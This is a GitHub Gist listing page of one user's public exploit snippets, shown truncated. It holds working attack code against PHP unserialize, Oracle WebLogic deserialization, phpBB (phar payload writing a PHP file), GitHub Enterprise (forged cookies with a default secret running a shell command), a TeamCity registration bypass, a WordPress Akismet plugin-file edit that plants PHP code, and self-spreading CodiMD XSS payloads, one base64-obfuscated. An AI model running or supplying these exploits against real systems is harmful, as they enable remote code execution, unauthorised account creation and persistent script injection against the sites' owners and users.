Skip to content

Instantly share code, notes, and snippets.

@allyshka
allyshka / test.php
Created Feb 10, 2017
PHP < 5.6.30 GMP unserialize() test exploit.
View test.php
<?php
class obj
{
var $test;
function __wakeup()
{
$this->test = 1;
}
}
@allyshka
allyshka / JRMPClient_20180718_bypass01.java
Created Oct 25, 2018
CVE-2018-3245: JRMPClient payload for bypass CVE-2018-2628 patch
View JRMPClient_20180718_bypass01.java
// All respects goes to Zhiyi Zhang of 360 ESG Codesafe Team
// URL: https://blogs.projectmoon.pw/2018/10/19/Oracle-WebLogic-Two-RCE-Deserialization-Vulnerabilities/
package ysoserial.payloads;
import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
@allyshka
allyshka / poc.js
Created Dec 12, 2018
phpBB <= 3.2.3 Admin to RCE PoC
View poc.js
// All greets goes to RIPS Tech
// Run this JS on Attachment Settings ACP page
var plupload_salt = '';
var form_token = '';
var creation_time = '';
var filepath = 'phar://./../files/plupload/$salt_aaae9cba5fdadb1f0c384934cd20d11czip.part'; // md5('evil.zip') = aaae9cba5fdadb1f0c384934cd20d11czip
// your payload here
var payload = '<?php __HALT_COMPILER(); ?>\x0d\x0a\xfe\x01\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01'+'\x00'.repeat(5)+'\xc8\x01\x00\x00O:31:"GuzzleHttp\x5cCookie\x5cFileCookieJar":4:{s:41:"\x00GuzzleHttp\x5cCookie\x5cFileCookieJar\x00filename";s:30:"/var/www/html/phpBB3/pinfo.php";s:52:"\x00GuzzleHttp\x5cCookie\x5cFileCookieJar\x00storeSessionCookies";b:1;s:36:"\x00GuzzleHttp\x5cCookie\x5cCookieJar\x00cookies";a:1:{i:0;O:27:"GuzzleHttp\x5cCookie\x5cSetCookie":1:{s:33:"\x00GuzzleHttp\x5cCookie\x5cSetCookie\x00data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:17:"<?php phpinfo();#";}}}s:39:"\x00GuzzleHttp\x5cCookie\x5cCookieJar\x00strictMode";N;}\x08\x00\x00\x00test.txt\x04\x00\x00\x00
@allyshka
allyshka / gitentcookiegen.rb
Created Mar 22, 2017
GitHub Enterprise 2.8.0 < 2.8.6 evil cookie generator
View gitentcookiegen.rb
require "openssl"
require "cgi"
SECRET = "641dd6454584ddabfed6342cc66281fb"
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
cmd = "uname -a > /tmp/owned" # change me
erubis = Erubis::Eruby.allocate
@allyshka
allyshka / gitentcookiedecrypt.rb
Last active Mar 9, 2019
GitHub Enterprise cookie decryption with default secret key
View gitentcookiedecrypt.rb
require "cgi"
require "openssl"
cookie = "BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRWU4ZGJiNDcxM2M5Nzk1NTE1NzBm%0AYjNiOWQzNDczYjZiMzYzY2Q2ODE5ZjcxNjI0ZDk3YzY4YzQwMmM5ZTliZmYG%0AOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFWVVArTFRXd0Npd0tTVDBaNlZzNDVC%0AekYzdndXd3lUa0UrMzBYcUNCM3RZPQY7AEY%3D%0A--229b711211f74793d491e5b57effeb81a042b5b9"
cookie = cookie.split("--")
data = CGI.unescape(cookie.first)
loaddata = data.unpack('m').first
hmac = cookie.last
secret = "641dd6454584ddabfed6342cc66281fb"
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
print "Hash comparing: ", expected_hmac, " == ", hmac, "\r\n"
@allyshka
allyshka / test.php
Created Feb 11, 2017
PHP <= 5.6.11 DateInterval + GMP unserialize() object change exploit
View test.php
<?php
$a = new stdClass; // handle = 1
$a->test = false;
echo('Property $a->test is: ');
var_dump($a->test);
$b = unserialize('a:1:{i:0;C:3:"GMP":69:{s:1:"1";a:2:{s:4:"test";b:1;i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}');
echo('Property $a->test changed to: ');
var_dump($a->test);
@allyshka
allyshka / teamcitylte902reg.js
Last active Mar 9, 2019
TeamCity <= 9.0.2 disabled registration bypass
View teamcitylte902reg.js
var login = 'testuser'; //логин пользователя
var password = 'SuperMEgaPa$$'; //пароль
var email = 'testusername654@mailinater.com'; // email
/* Code */
var b = BS.LoginForm;
var public_key = $F("publicKey");
var encrypted_pass = BS.Encrypt.encryptData(password, $F("publicKey"));
var parameters = 'username1='+login+'&email='+encodeURIComponent(email)+'&submitCreateUser=&publicKey='+public_key+'&encryptedPassword1='+encrypted_pass+'&encryptedRetypedPassword='+encrypted_pass;
var c = OO.extend(BS.ErrorsAwareListener, {
onDuplicateAccountError: function(b) {
@allyshka
allyshka / akismet-xss-edit.js
Created Apr 10, 2019
Wordpress Akismet plugin index.php edit
View akismet-xss-edit.js
var exploit = function() {
var nonce = '';
var phpcode = '<?php phpinfo();/*';
var pluginurl = '/wp-admin/plugin-editor.php?plugin=akismet/index.php&Submit=Select';
var pluginupdateurl = '/wp-admin/admin-ajax.php';
var file = "akismet/index.php";
var plugin = "akismet/akismet.php";
console.log("Get nonce token.");
jQuery.get(pluginurl, function(data) {
nonce = jQuery(data).find('#template #nonce').val();
@allyshka
allyshka / codimd-notes-poison.js
Created Apr 25, 2019
CodiMD > 1.3.0 add XSS to all user notes from history
View codimd-notes-poison.js
var host = document.location.hostname + ':' + document.location.port;
var notedummy = '//'+host+'/socket.io/?noteId=NOTE_ID&EIO=3';
var payload = '<!-- attr="--><script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.min.js></script><div ng-app>{{constructor.constructor(\'alert(1)\')()}}</div>" -->\n';
$.get('/me', function(data){
if(data.status=="ok") {
$.get('/history', function(data) {
if(data.history.length > 0) {
for(h in data.history) {
var currentNoteId = data.history[h].id;
@allyshka
allyshka / xss-payload.js
Created Apr 25, 2019
CodiMD > 1.3.0 XSS payload
View xss-payload.js
<!-- attr="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('eval(atob(\'dmFyIGhvc3Q9ZG9jdW1lbnQubG9jYXRpb24uaG9zdG5hbWUrIjoiK2RvY3VtZW50LmxvY2F0aW9uLnBvcnQsbm90ZWR1bW15PSIvLyIraG9zdCsiL3NvY2tldC5pby8/bm90ZUlkPU5PVEVfSUQmRUlPPTMiLHBheWxvYWQ9Ilx4M2MhLS0gYXR0cj1cIi0tXHgzZTxzY3JpcHQgc3JjPWh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2FuZ3VsYXIuanMvMS4wLjEvYW5ndWxhci5taW4uanM+PFwvc2NyaXB0PjxkaXYgbmctYXBwPnt7Y29uc3RydWN0b3IuY29uc3RydWN0b3IoJ2FsZXJ0KDEpJykoKX19PC9kaXY+XCIgLS1ceDNlXG4iOyQuZ2V0KCIvbWUiLGZ1bmN0aW9uKG8peyJvayI9PW8uc3RhdHVzJiYkLmdldCgiL2hpc3RvcnkiLGZ1bmN0aW9uKG8pe2lmKDA8by5oaXN0b3J5Lmxlbmd0aClmb3IoaCBpbiBvLmhpc3RvcnkpeyFmdW5jdGlvbihvKXt2YXIgdD1pby5jb25uZWN0KHtwYXRoOiIvc29ja2V0LmlvLyIscXVlcnk6e25vdGVJZDpvfSx0aW1lb3V0OjVlMyxyZWNvbm5lY3Rpb25BdHRlbXB0czoyMCxmb3JjZU5ldzohMH0pO3Qub24oImNvbm5lY3QiLGZ1bmN0aW9uKG8pe30pLHQub25jZSgiZG9jIixmdW5jdGlvbihvKXtjb25zb2xlLmxvZyhvLnN0ciksLTE9PW8uc3RyLnNlYXJjaCgibmctYXBwIikmJnQuZW1